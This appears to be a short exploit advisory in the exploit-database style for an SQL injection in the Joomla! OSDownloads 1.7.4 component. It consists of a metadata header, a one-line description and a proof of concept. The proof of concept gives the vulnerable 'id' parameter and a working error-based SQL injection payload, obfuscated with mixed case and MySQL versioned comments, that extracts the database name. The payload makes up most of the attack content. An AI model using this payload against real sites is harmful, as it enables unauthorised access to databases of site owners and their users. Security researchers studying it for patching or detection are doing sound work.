27 lines
No EOL
1 KiB
Text
27 lines
No EOL
1 KiB
Text
# # # # #
|
|
# Exploit Title: Joomla! Component OSDownloads 1.7.4 - SQL Injection
|
|
# Dork: N/A
|
|
# Date: 25.08.2017
|
|
# Vendor Homepage: https://joomlashack.com/
|
|
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/downloads/osdownloads/
|
|
# Demo: https://demoextensions.joomlashack.com/osdownloads
|
|
# Version: 1.7.4
|
|
# Category: Webapps
|
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
|
# CVE: N/A
|
|
# # # # #
|
|
# Exploit Author: Ihsan Sencan
|
|
# Author Web: http://ihsan.net
|
|
# Author Social: @ihsansencan
|
|
# # # # #
|
|
# Description:
|
|
# The vulnerability allows an attacker to inject sql commands....
|
|
#
|
|
# Proof of Concept:
|
|
#
|
|
# http://localhost/[PATH]/index.php?option=com_osdownloads&view=item&id=[SQL]
|
|
#
|
|
# 8+aND(/*!22200sELeCT*/+0x30783331+/*!22200FrOM*/+(/*!22200SeLeCT*/+cOUNT(*),/*!22200CoNCaT*/((sELEcT(sELECT+/*!22200CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+AND+1=1
|
|
#
|
|
# Etc..
|
|
# # # # # |